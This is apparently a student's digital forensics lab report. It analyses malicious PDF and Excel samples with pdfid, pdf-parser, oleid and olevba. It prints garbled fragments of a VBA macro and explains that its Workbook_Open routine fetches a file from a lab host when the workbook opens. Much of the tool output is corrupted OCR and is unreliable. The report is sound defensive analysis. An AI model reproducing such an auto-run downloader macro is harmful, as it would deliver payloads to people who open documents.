

## Lab 03

CYL2002 Digital Forensics - Lab

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## Task 01

First we saw both files and I realized that file 2 had 2 js files, and also had an embedded file in it as well. So I used pdfid to see the files.


endobj	86	
stream	50	0
endstream	50	
xref	2	
trailer	2	
startxref	2	
/Page	3	
/Encrypt	in ØadiblyDalich	~
/ObjStm	0	ec
/JS	ø esume./z	
/JavaScript	ø	
/AA Trash	0	
/OpenAction	ø	
/AcroForm	0	
/JBIG2Decode	0	
/RichMedia	0	
/Launch	0	
/EmbeddedFile	ø	
/XFA	0	
/Colors > 2^24	0	
, 00 101 0		
Devices		
(kali@kali)-[~/D	esktop/task2]	
spdfid /home/kali,		s
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0	li/Desktop/cw_p	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0	li/Desktop/cw_p	
PDFiD 0.2.8 /home/ka	li/Desktop/cw_p	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj	li/Desktop/cw_p 5 146	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj	li/Desktop/cw_p 5 146 146	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream	li/Desktop/cw_p 5 146 146 55	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream	li/Desktop/cw_p 5 146 146 55 55	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref	li/Desktop/cw_p 5 146 146 55 55 1	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer	li/Desktop/cw_p 5 146 146 55 55 1	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page	li/Desktop/cw_p 5 146 146 55 55 1 1	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref	li/Desktop/cw_p 5 146 146 55 55 1 1 1	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.6 obj endobj stream endstream xref trailer startxref /Page /Encrypt	Li/Desktop/cw_p 5 146 146 55 55 1 1 1	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.6 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm	Li/Desktop/cw_p 5 146 146 55 55 1 1 1 0	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.6 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS	li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript	li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 2 2 2	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 2 2 2	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction /AcroForm	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0 2 2 2	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction /AcroForm /JBIG2Decode	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0 2 2 2 0	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction /AcroForm /JBIG2Decode /RichMedia	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0 2 2 2 0	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction /AcroForm /JBIG2Decode /RichMedia /Launch	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0 2 2 2 2 0	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction /AcroForm /JBIG2Decode /RichMedia /Launch /EmbeddedFile	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 0 0 2 2 2 2 0 1	
PDFiD 0.2.8 /home/ka PDF Header: %PDF-1.0 obj endobj stream endstream xref trailer startxref /Page /Encrypt /ObjStm /JS /JavaScript /AA /OpenAction /AcroForm /JBIG2Decode /RichMedia /Launch /EmbeddedFile /XFA	Li/Desktop/cw_pi 5 146 146 55 55 1 1 1 1 0 0 2 2 2 2 0 1 0	

Then I used pdf-parser to see the second file, and analyzed the file. There was obj144 which was an obfuscated Java script code and that showed that the pdf file is malicious.

```
Kall)-[~/Desktop/Lol/peepar]
_$ pdf-parser /home/kali/Desktop/cw_pdf_sample2.pdf
This program has not been tested with this version of Python (3.11.9)
Should you encounter problems, please use Python version 3.11.1
PDF Comment '%PDF-1.6\r\n'
obj 10
Type: /Font
 Referencing: 2 0 R
    /BaseFont /Helvetica
    /Encoding 2 0 R
    /Name /Helv
    /Subtype /Type1
    /Type /Font
obj 20
Type: /Encoding
 Referencing:
    /Differences [24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /til
uilsinglright /minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /d
160 /Euro 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logical
onesuperior /ordmasculine 188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Aciieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ug
e /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresi
acute /thorn /ydieresis ]
    /Type /Encoding
```

## Task 02

I downloaded two files given, and ran the oleid tool, on the first file, it showed that it had external relations, and gave tool, i ran tool and it gave the link it had relations with.



Then in the 2nd file, I ran the same oleid and then it said to use olevba, cuz it had macros. As i ran it, so it showed the macro code, i GPT the code, gpt tell its malicious and downloads and runs a powershell.

```
|This file contains VBA
                                                         |macros. Suspicious
                                                        |keywords were found. Use
                                                        |olevba and mraptor for
                                                        Imore info.
                                                        |This file does not contain
                                                        |Excel 4/XLM macros.
                                                        |External relationships
                                                        |such as remote templates,
                                                        |remote OLE objects, etc
(kali@kali)-[~/Desktop/task2]
$ olevba sheetsForFinancial.xlsm
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
FILE: sheetsForFinancial.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
VBA MACRO Module1.bas
in file: xl/vbaProject.bin - OLE stream: 'VBA/Module1'
Function genStr(Length As Integer)
Dim chars As Variant
Dim x As Long
Dim str As String
  If Length < 1 Then
    Exit Function
                    "b". "c". "d". "e". "f".
```

```
Randomize
Next x str 6 chars(Int((UBound(chars) - LBound(chars) + 1) * Rnd * LBound(chars)))

RandStr = str

End Function
Sub Workbook_QHM()
Dim strl: genstr (17)
Data str = str =
```

## 2. `Workbook\_Open()` Subroutine:

- This subroutine is triggered automatically when the Excel workbook is opened.
- It initializes the following steps:
- Generate Random Strings:
  - `str1` and `str9` are initialized by calling `genStr(17)` and `genStr(10)` respectively, although the returned values are not stored or used in the subsequent code.
- HTTP Request to a Remote Server:
  - An XMLHTTP object (`xHttp`) is created to send an HTTP GET request to `http://srv3.wonderballfinancial.local/abc123.crt`.
  - The purpose of this request is to download a file named `abc123.crt` from the specified server.
- Write the Downloaded File to Disk: